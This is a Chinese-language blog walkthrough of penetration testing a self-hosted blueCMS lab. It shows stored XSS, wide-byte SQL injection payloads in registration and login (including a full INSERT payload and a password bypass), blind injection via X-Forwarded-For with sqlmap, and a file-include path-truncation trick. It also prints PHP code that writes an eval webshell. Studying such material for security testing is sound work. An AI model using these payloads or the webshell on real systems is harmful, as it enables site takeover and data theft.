撸站思路总结

  想要撸一个站点(这里我自己用虚拟机搭建了blueCMS),第一步先收集信息,看看这个站点的目录;这里用7kbscan-WebPathBrute暴力枚举,结果如下:

  

  这里居然有robots.txt,真是“此地无银三百两”,自己一不小心就暴露了重要的目录;

   

   1、居然有install目录,从字眼看, 应该是安装的,先试试这个:  站点的重要配置就这样被重置(数据库的账号、后台管理员的账号就这样丢了;还可以更狠一点,把数据库的地址、账号设置成自己的,后续该网站所有的账号、新闻、评论类数据全都写入自己的数据库了;或则通过CSRF,诱导管理员点击特定链接改这一页的配置);这里应该是访问权限没设置好,或则在安装好后把install目录整体去掉;

      

  2、网站有个注册的功能,作为新用户,当然后试试啦!输入用户名,就收到提示:该用户名可以使用;这里是不是就可以用burp爆破用户名了?

        

  重新输入用户名,还未点击注册,就抓到包:注册码都没有,基本等于没防护;

        

   点击注册提交,看到了这个页面:我们刚才输入的邮箱被显示了,这里大概率将用户的注册信息写入数据库,再从数据库读出来展示在页面,那么就可能存在两个问题:(1)sql注入(凡是和数据库交互的地方都可能存在) (2)存储型XSS

     

   先来看xss:既然展示的是邮箱,这里就在邮箱中用script测试:

 

  抓个包,发现几个问题:(1)账号明文传输   (2)email被编码了;不管了,先放过去,看看效果;

     

  成功弹窗,说明存在存储型XSS漏洞;

  

  查看源码:脚本确实写入了;这种存储型的xss危害相当大,任何人点击打开这个页面都会中招;

     

  同理,在我的个人资料栏目,也可以输入很多信息,全部都输入脚本,这里在居住地又现弹窗:

     

 邮箱在会员登陆页面能看到,那么在后台管理员界面应该也能查看,否则管理员怎么管理会员了?所以继续在admin界面登陆,点击会员列表,马上弹窗,出发xss漏洞; 这个xss从前台的会员页面到后台的管理员界面都能影响,都能让对方中招,应该是高危漏洞了,还能申请CNVD编号和证书;

    

  会员列表:

     

  3、(1)再来看看sql注入:用户注册肯定会和数据库交互,所以肯定存在sql注入的可能;既然上面是在user.php页面展示,这里先检查user.php页面,看到了如下代码:

    先把用户输入的数据做检查,看是不是空;如果不是,再检查长度、模式、用户是否存在,如果都没问题,就把用户输入的信息写入数据库了;这里的漏洞就很明显了:貌似没有对输入做单双引号、括号校验,如果在用户注册的时候,把email的内容改成读取数据库内容的语句,后面再在页面打开(类似于显错注入),岂不是能看到数据库的内容了?

      

   为了方便,这里直接在注册页面抓包,然后用seay的数据库监控工具,看看insert语句到底是怎么用的,便于后续的注入语句确认:貌似也没啥特殊的;

  

  直接在包里,把emai字段换成or updatexml(1,concat(0x7e, select database()),提示注册成功,验证码也顺带绕过了:

       

  回到页面,用刚注册的账号登陆,发现邮箱并未显示数据库名,而是直接展示了这串命令:

   

  再看看数据库执行语句:发现整串直接被当成字符串存储,并未执行按照预期执行:

    

    重来,在我们构造语句前加个单引号,把原来的sql语句闭合,如下:提示注册成功:   

      

  进入页面查看,发现还是没显示数据库名称,还是当成字符串了,再次查看数据库执行语句,发现单引号被\转义,当成字符串处理了,这里就需要进一步用宽字符注入,把系统的\匹配掉;  

   重新写完整的sql语句:INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'test6', md5('test123'), 'test123@123.com',1,1),(100,0x7465737437,md5(0x74657374313233),(select database()),1,1)#', '1599295292', '1599295292')

  这里有几点注意:

  (1)insert可以同时插入多条数据,这里把查询数据库的select databse()放第二条,不动第一条;

    (2)第二条数据不能出现单引号(用宽字符匹配转义会导致整个字符串不和逻辑),所以把用户名和密码先转成16进制,这里用户名是test7,密码是test123,统一转成16进制后才用;

  (3)email前面用个单引号,和系统原有单引号匹配,但是会被转义符转义成字符,

  

  这里在hex窗口找到我们自己加的单引号(16进制是27),在前面加上df,就可以和转义符配对了:

      

  点击Go,发现成功注册:

  

  用刚注册的test7/test123登陆,发现邮箱这里已经显示了数据库的名称,sql注入完结撒花! 同理,在注册的时候还可以把邮箱字段该成select xxx from xxx limit 1,1来读取数据的关键信息;

   

   再去看seay的数据库监控模块,发现执行insert语句如下:2020/9/5 17:38INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'testa', md5('test123'), 'a\xDF\',1,1),(100,0x7465737437,md5(0x74657374313233),(select database()),1,1)#', '1599298720', '1599298720');

  用第一条数据,也就是用户名是testa登陆,发现邮箱如下:就是这一串:a\xDF\,其中df\组合成了那个不认识的汉字:

          

   (2)除了上面用户注册需要和数据库交互,存在sql注入,还可以继续通过insert语句搜索源码,看看其他地方是不是也存在sql注入,刚好在comment.php也发现了insert语句;从代码来看,应该是记录用户评论的;这个页面有两个参数:list和send,分别是列举评论和发送评论;insert语句就在发送评论的if分支;

           

     继续往上回溯,看看这些插入数据库语句的各个变量是怎么得到的:

    user_id: 从session取,我们改不了;

    type和mood:通过intval强制转换成整型,这里没戏;

    content: htmlspecialchars会把单双引号、&、尖括号等转成html实体,xss和注入都没戏了;(这里多说两句:还有魔术引号,会检查GET、POST、COOKIE的传参,这里可以考虑其他http头,比如user_agent,或则x-forwarded-for等);

    这里只剩getip()函数,应该是记录comment的来源,便于追述;继续追溯这个函数,找到其定义如下:ip来自X-Forward-For字段。

    

     思路很清晰了:构造X-Forwarded-For字段来测试sql注入;先在评论页面抓个包,然后在人为添加X-Forwarded-For字段,如下: 发现报错,至少说明这里也存在sql注入;由于页面没有显错点,只能考虑盲注,但使用起来很痛苦,这里考虑sqlmap;

    

   把post包复制,保存成txt文件;为了方便sqlmap跑数据,把X-Forwarded-For: 1'*,1)#     , 1后面的单引号闭合原单引号,* 表示让sqlmap自由发挥,尝试各种sql语句;

  这里打个岔:sql发现X-Forwarded-For存在xss漏洞,理论上确实有:X-Forwarded-For字段一般不会被检查,直接写入数据库。如果某个页面从数据库读这个字段,就可能中招;

  

  X-Forwarded-For写入table('comment')表中,在new.php文件有读取到$comment_list变量,如果能找到页面展示,这里就实锤了另一个存储型xss漏洞;

  

  回到sql注入:从监控看,sqlmap跑了大量的sql语句疯狂的试探各种注入:

   

  sqlmap也确认存在布尔注入:

   

  盲注只能靠挨个字符去猜,效率无比低下;经过近一个小时的等待,终于dump出了数据库名:下一个可以继续dump表名和数据;

  

  4、文件上传:在我的个人资料这里可以上传头像,这里先上传个小马:

  

  再复制小马的地址,尝试有没有CGI解析漏洞,发现不行:

      

   怎样才能让小马执行了?正常渗透时,还未侵入对方服务器,改别人的源码是不可能的,唯一能执行小马文件的只有文件包含了,这里继续审查源代码include、require,看看有没有没写死文件的地方;在user.php,有这么一行代码如下:中间有一段post传参,参数的key是pay,这里就可以利用了:

        

   要想执行include,有两个条件:(1)参数act的value必须是pay,if分支才能执行  (2)include的路径是include/payment/xxxx/index.php已经写死,怎么才能执行改变路径到我们的小马?

  从源码看:(1)$act变量申明:$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'default';   所以可以通过GET\POST传入act参数,value为pay;

                         (2)windows有个特性: 路径长度不能超过256字节,超过部分就不要了;这里的pay参数后面路径用.填充,淹没掉原代码最后的index.php

                         (3)这里的图片路径在post中传入,再加上这里有特定的cookie,没法直接连菜刀,只能利用这个从新生成小马,所以这里图片马的语句为:    

<?php
eval(file_put_contents('config.php','<?php eval($_REQUEST[param])?>;'));//先执行外层的eval,调用file_put_contents函数把小马写入一个叫做config.php的文件;
?>

  用burp发包结果如下:

   

  在user的同级目录下,生成了小马,这里可以直接上菜刀或蚁剑了;

   

  5、继续到管理员界面:这里有数据库备份还原选项,点击后生成备份文件;既然是文件,通过浏览器肯定能访问,但是在哪个目录了?前面robots不是列举了很多目录么?这里通过看源码,查到目录为/data/backup目录(也可以尝试用burp或7kbscan-WebPathBrute继续暴力枚举),

     

 

  直接通过浏览器访问,账号又暴露了:

      

   6、万能密码:登陆时,用seay的mysql监控模块查到登陆时查询的语句:2020/9/6 13:21 SELECT COUNT(*) AS num FROM blue_user WHERE user_name='test7' and pwd=md5('test123')

     

  这里同样可以用sql注入的思路绕过密码验证:pwd=md5('test123'),输入的密码为 aaa') or 1=1 #, 原语句就变成了: pwd=md5('aaa') or 1=1 #') ,利用 or 1=1返回true;第一次尝试登陆提示失败,再用监控模块查看,发现在密码框输入的单引号又被转义了,系统应该默认开启了magic_quotes_gpc,凡是post、 get、 cookie传参一旦发现单双引号、反斜杠等都会被转义;这里再次用到宽字节注入,用df和后台的转义符匹配:

    

 

   重新输入aaa') or 1=1 #,点击登陆,同时用burp抓包,在hex界面的单引号前面把a(16进制编码是61)改成df;

    

 

  成功登陆:

   

 

   执行的sql语句变成这样:2020/9/6 13:43 SELECT COUNT(*) AS num FROM blue_user WHERE user_name='test7' and pwd=md5('aa\xDF\') or 1=1 #')

posted @ 2020-09-05 23:53  第七子007  阅读(11661)  评论(0编辑  收藏  举报